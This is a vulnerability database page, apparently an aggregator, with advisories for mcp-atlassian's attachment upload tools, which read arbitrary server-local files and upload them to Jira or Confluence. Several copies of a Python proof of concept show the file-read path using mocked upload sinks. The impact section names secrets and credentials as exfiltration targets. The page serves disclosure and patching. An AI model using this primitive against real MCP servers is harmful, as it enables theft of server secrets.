object.__new__(ConfluenceAttachmentsMixin)\n    session = FakeConfluenceSession()\n    fetcher.config = ConfluenceConfig(url=\u0027https://confluence.example.test/wiki\u0027, auth_type=\u0027pat\u0027, personal_token=\u0027token\u0027)\n    fetcher.confluence = SimpleNamespace(_session=session)\n    result = fetcher.upload_attachment(\u0027123456\u0027, str(secret_path))\n    return {\u0027result_success\u0027: result.get(\u0027success\u0027), \u0027uploaded\u0027: session.uploaded}\n\nclass FakeJiraApi:\n    def __init__(self):\n        self.uploaded = None\n    def add_attachment(self, issue_key, filename):\n        self.uploaded = {\n            \u0027issue_key\u0027: issue_key,\n            \u0027filename\u0027: Path(filename).name,\n            \u0027content\u0027: Path(filename).read_text(),\n        }\n        return {\u0027id\u0027: \u0027att-poc\u0027}\n\ndef jira_probe(secret_path):\n    fetcher = object.__new__(JiraAttachmentsMixin)\n    fake = FakeJiraApi()\n    fetcher.config = JiraConfig(url=\u0027https://jira.example.test\u0027, auth_type=\u0027pat\u0027, personal_token=\u0027token\u0027)\n    fetcher.jira = fake\n    result = fetcher.upload_attachment(\u0027SAFE-1\u0027, str(secret_path))\n    return {\u0027result_success\u0027: result.get(\u0027success\u0027), \u0027uploaded\u0027: fake.uploaded}\n\nwith tempfile.TemporaryDirectory(prefix=\u0027mcp-atlassian-upload-poc-\u0027) as tmp:\n    secret_path = Path(tmp) / \u0027server-secret.txt\u0027\n    secret_path.write_text(\u0027SERVER_LOCAL_SECRET_MARKER\u0027)\n    print(json.dumps({\n        \u0027confluence\u0027: confluence_probe(secret_path),\n        \u0027jira\u0027: jira_probe(secret_path),\n    }, indent=2, sort_keys=True))\nPY\n```\n\nObserved output from this environment:\n\n```json\n{\n  \"confluence\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"url\": \"https://confluence.example.test/wiki/rest/api/content/123456/child/attachment\"\n    }\n  },\n  \"jira\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"issue_key\": \"SAFE-1\"\n    }\n  }\n}\n```\n\nThe proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.\n\n### Impact\n\nA caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.",
  "id": "GHSA-vc25-24vv-fxxm",
  "modified": "2026-09-22T20:34:50Z",
  "published": "2026-09-22T20:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files"
}

PYSEC-2026-4101

Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10

Details

Summary

Details

PoC

The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.

uv run python - <<'PY'
import json, tempfile
from pathlib import Path
from types import SimpleNamespace
from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin
from mcp_atlassian.confluence.config import ConfluenceConfig
from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

class FakeResponse:
    def raise_for_status(self):
        pass
    def json(self):
        return {'results': [{'id': 'att-poc'}]}

class FakeConfluenceSession:
    def __init__(self):
        self.uploaded = None
    def put(self, url, headers=None, files=None, data=None):
        file_tuple = files['file']
        self.uploaded = {
            'url': url,
            'filename': file_tuple[0],
            'content': file_tuple[1].read().decode(),
        }
        file_tuple[1].close()
        return FakeResponse()

def confluence_probe(secret_path):
    fetcher = object.__new__(ConfluenceAttachmentsMixin)
    session = FakeConfluenceSession()
    fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')
    fetcher.confluence = SimpleNamespace(_session=session)
    result = fetcher.upload_attachment('123456', str(secret_path))
    return {'result_success': result.get('success'), 'uploaded': session.uploaded}

class FakeJiraApi:
    def __init__(self):
        self.uploaded = None
    def add_attachment(self, issue_key, filename):
        self.uploaded = {
            'issue_key': issue_key,
            'filename': Path(filename).name,
            'content': Path(filename).read_text(),
        }
        return {'id': 'att-poc'}

def jira_probe(secret_path):
    fetcher = object.__new__(JiraAttachmentsMixin)
    fake = FakeJiraApi()
    fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')
    fetcher.jira = fake
    result = fetcher.upload_attachment('SAFE-1', str(secret_path))
    return {'result_success': result.get('success'), 'uploaded': fake.uploaded}

with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:
    secret_path = Path(tmp) / 'server-secret.txt'
    secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')
    print(json.dumps({
        'confluence': confluence_probe(secret_path),
        'jira': jira_probe(secret_path),
    }, indent=2, sort_keys=True))
PY

Observed output from this environment:

{
  "confluence": {
    "result_success": true,
    "uploaded": {
      "content": "SERVER_LOCAL_SECRET_MARKER",
      "filename": "server-secret.txt",
      "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment"
    }
  },
  "jira": {
    "result_success": true,
    "uploaded": {
      "content": "SERVER_LOCAL_SECRET_MARKER",
      "filename": "server-secret.txt",
      "issue_key": "SAFE-1"
    }
  }
}

The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.

Impact

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Impacted products

Name	purl
mcp-atlassian	pkg:pypi/mcp-atlassian

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian",
        "purl": "pkg:pypi/mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.10.0",
        "0.10.1",
        "0.10.2",
        "0.10.3",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.11.0",
        "0.11.1",
        "0.11.10",
        "0.11.11",
        "0.11.12",
        "0.11.2",
        "0.11.2a2",
        "0.11.3",
        "0.11.4",
        "0.11.5",
        "0.11.6",
        "0.11.7",
        "0.11.8",
        "0.11.9",
        "0.12.0",
        "0.13.0",
        "0.13.1",
        "0.14.0",
        "0.14.1",
        "0.14.2",
        "0.14.3",
        "0.15.0",
        "0.16.0",
        "0.16.1",
        "0.17.0",
        "0.18.0",
        "0.18.1",
        "0.19.0",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.2.3",
        "0.2.4",
        "0.2.5",
        "0.2.6",
        "0.20.0",
        "0.20.1",
        "0.21.0",
        "0.21.1",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.7.0",
        "0.7.1",
        "0.8.0",
        "0.8.1",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77253",
    "GHSA-vc25-24vv-fxxm"
  ],
  "details": "### Summary\n\nMCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.\n\n### Details\n\nThe Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`.\n\nThe Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, \"rb\")` in `src/mcp_atlassian/confluence/attachments.py:467-490`.\n\nThe Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs[\"attachments\"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`.\n\nThe tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.\n\n### PoC\n\nThe following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.\n\n```bash\nuv run python - \u003c\u003c\u0027PY\u0027\nimport json, tempfile\nfrom pathlib import Path\nfrom types import SimpleNamespace\nfrom mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin\nfrom mcp_atlassian.confluence.config import ConfluenceConfig\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nclass FakeResponse:\n    def raise_for_status(self):\n        pass\n    def json(self):\n        return {\u0027results\u0027: [{\u0027id\u0027: \u0027att-poc\u0027}]}\n\nclass FakeConfluenceSession:\n    def __init__(self):\n        self.uploaded = None\n    def put(self, url, headers=None, files=None, data=None):\n        file_tuple = files[\u0027file\u0027]\n        self.uploaded = {\n            \u0027url\u0027: url,\n            \u0027filename\u0027: file_tuple[0],\n            \u0027content\u0027: file_tuple[1].read().decode(),\n        }\n        file_tuple[1].close()\n        return FakeResponse()\n\ndef confluence_probe(secret_path):\n    fetcher = object.__new__(ConfluenceAttachmentsMixin)\n    session = FakeConfluenceSession()\n    fetcher.config = ConfluenceConfig(url=\u0027https://confluence.example.test/wiki\u0027, auth_type=\u0027pat\u0027, personal_token=\u0027token\u0027)\n    fetcher.confluence = SimpleNamespace(_session=session)\n    result = fetcher.upload_attachment(\u0027123456\u0027, str(secret_path))\n    return {\u0027result_success\u0027: result.get(\u0027success\u0027), \u0027uploaded\u0027: session.uploaded}\n\nclass FakeJiraApi:\n    def __init__(self):\n        self.uploaded = None\n    def add_attachment(self, issue_key, filename):\n        self.uploaded = {\n            \u0027issue_key\u0027: issue_key,\n            \u0027filename\u0027: Path(filename).name,\n            \u0027content\u0027: Path(filename).read_text(),\n        }\n        return {\u0027id\u0027: \u0027att-poc\u0027}\n\ndef jira_probe(secret_path):\n    fetcher = object.__new__(JiraAttachmentsMixin)\n    fake = FakeJiraApi()\n    fetcher.config = JiraConfig(url=\u0027https://jira.example.test\u0027, auth_type=\u0027pat\u0027, personal_token=\u0027token\u0027)\n    fetcher.jira = fake\n    result = fetcher.upload_attachment(\u0027SAFE-1\u0027, str(secret_path))\n    return {\u0027result_success\u0027: result.get(\u0027success\u0027), \u0027uploaded\u0027: fake.uploaded}\n\nwith tempfile.TemporaryDirectory(prefix=\u0027mcp-atlassian-upload-poc-\u0027) as tmp:\n    secret_path = Path(tmp) / \u0027server-secret.txt\u0027\n    secret_path.write_text(\u0027SERVER_LOCAL_SECRET_MARKER\u0027)\n    print(json.dumps({\n        \u0027confluence\u0027: confluence_probe(secret_path),\n        \u0027jira\u0027: jira_probe(secret_path),\n    }, indent=2, sort_keys=True))\nPY\n```\n\nObserved output from this environment:\n\n```json\n{\n  \"confluence\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"url\": \"https://confluence.example.test/wiki/rest/api/content/123456/child/attachment\"\n    }\n  },\n  \"jira\": {\n    \"result_success\": true,\n    \"uploaded\": {\n      \"content\": \"SERVER_LOCAL_SECRET_MARKER\",\n      \"filename\": \"server-secret.txt\",\n      \"issue_key\": \"SAFE-1\"\n    }\n  }\n}\n```\n\nThe proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.\n\n### Impact\n\nA caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.",
  "id": "PYSEC-2026-4101",
  "modified": "2026-10-01T17:10:31.389667Z",
  "published": "2026-10-01T16:38:35.073729Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/mcp-atlassian"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vc25-24vv-fxxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77253"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-77253 (GCVE-0-2026-77253)

BREW-MCP-ATLASSIAN-CVE-2… (CVE-2026-77253)

FKIE_CVE-2026-77253

GHSA-VC25-24VV-FXXM

Summary

Details

PoC

Impact

PYSEC-2026-4101

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour